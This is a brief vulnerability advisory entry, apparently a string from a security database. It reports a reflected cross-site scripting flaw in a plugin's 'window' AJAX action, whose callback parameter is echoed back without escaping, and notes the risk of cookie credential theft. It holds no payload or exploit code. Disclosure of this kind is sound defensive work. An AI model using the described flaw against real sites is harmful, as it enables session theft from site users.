The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
